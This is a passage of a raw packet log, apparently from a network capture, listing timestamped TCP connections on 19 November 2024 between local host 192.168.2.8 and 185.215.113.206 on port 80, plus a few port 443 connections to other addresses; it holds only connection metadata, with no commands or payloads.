Nov 19, 2024 18:00:48.664443016 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664453983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664457083 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664460897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664477110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664482117 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664488077 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664498091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664503098 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664510012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664520979 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664530993 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664534092 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664552927 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664570093 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664613962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664625883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664638996 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664649010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664652109 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664654970 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664665937 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664673090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664685011 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664694071 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664700031 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664716959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664719105 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664727926 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664737940 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664741039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664750099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664767027 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664793015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664868116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664879084 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664890051 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664900064 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664904118 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664911985 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664922953 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664932013 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664935112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664946079 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664958000 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664968014 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664972067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664978027 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664983988 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665014982 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665030956 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665040970 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665052891 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665064096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665075064 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665087938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665090084 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665126085 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665132999 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665144920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665147066 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665174007 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665190935 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665232897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665242910 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665251970 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665270090 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665276051 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665281057 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665287971 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665292025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665302992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665303946 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665316105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665322065 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665326118 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665340900 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665344954 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665358067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665368080 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665369034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665380955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665386915 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665390015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665411949 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665437937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665472031 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665484905 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665498018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665503979 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665508032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665518999 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665522099 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665530920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665541887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665550947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665564060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665572882 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665575027 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665585995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665586948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665611029 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665613890 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665622950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665635109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665646076 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665646076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665657997 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665669918 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665697098 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665808916 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665846109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665909052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665920019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665930986 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665932894 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665936947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665961027 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665975094 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.665981054 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.665992975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.666023970 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.666037083 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.666049957 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.666060925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.666073084 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.666081905 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.666105986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.666145086 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.667022943 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.667035103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.667046070 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.667068005 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.667105913 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.667155981 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.667167902 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.667181015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.667191982 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.667201042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.667227983 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.672178030 CET	49827	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:48.726823092 CET	443	49827	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:48.727210045 CET	443	49827	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:48.727271080 CET	49827	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:48.728625059 CET	49827	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:48.728641033 CET	443	49827	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:48.754317045 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754409075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.754434109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754443884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754487038 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.754524946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754537106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754547119 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754561901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754568100 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.754595041 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.754734993 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754746914 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754760027 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754769087 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.754786015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.754801035 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.754920959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754933119 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754944086 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754956007 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754966021 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754975080 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.754976034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754986048 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.754993916 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.754997969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.755012989 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.755040884 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788001060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788016081 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788032055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788039923 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788050890 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788058996 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788062096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788074970 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788093090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788136959 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788180113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788192034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788201094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788209915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788220882 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788229942 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788233042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788242102 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788244009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788263083 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788271904 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788280010 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788283110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788307905 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788326979 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788369894 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788381100 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788391113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788407087 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788414955 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788419008 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788429976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788434029 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788440943 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788449049 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788460016 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788460016 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788470984 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788482904 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788511992 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788681984 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788691998 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788703918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788732052 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788748026 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788758039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788760900 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788767099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788778067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788788080 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788789034 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788806915 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788836002 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.788969994 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788985968 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.788995981 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789005041 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789011002 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789020061 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789031029 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789040089 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789041042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789050102 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789061069 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789067984 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789072037 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789082050 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789087057 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789093971 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789103031 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789104939 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789114952 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789138079 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789165974 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789252996 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789289951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789299965 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789335966 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789347887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789360046 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789370060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789380074 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789387941 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789401054 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789406061 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789412022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789429903 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789446115 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789457083 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789459944 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789468050 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789491892 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789521933 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789649010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789658070 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789669037 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789679050 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789686918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789691925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789694071 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789707899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789716959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789726019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789732933 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789736986 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789753914 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789755106 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789766073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789774895 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789781094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789782047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789787054 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789791107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789797068 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789808989 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789819002 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789824009 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789829969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789853096 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789871931 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789885044 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789901972 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789911985 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789923906 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789933920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.789940119 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.789968967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.790005922 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790016890 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790025949 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790035963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790047884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790050983 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.790071011 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.790083885 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.790105104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790116072 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790124893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790129900 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790143967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.790148020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790158033 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790163040 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.790164948 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790177107 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790189028 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.790189981 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.790210962 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.790224075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.829471111 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.834335089 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.931516886 CET	49829	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.931554079 CET	443	49829	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.931654930 CET	49829	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.932173967 CET	49829	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.932188988 CET	443	49829	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.050014019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050026894 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050039053 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050049067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050060034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050070047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050081015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050081015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050115108 CET	49761	80	192.168.2.8	185.215.113.206
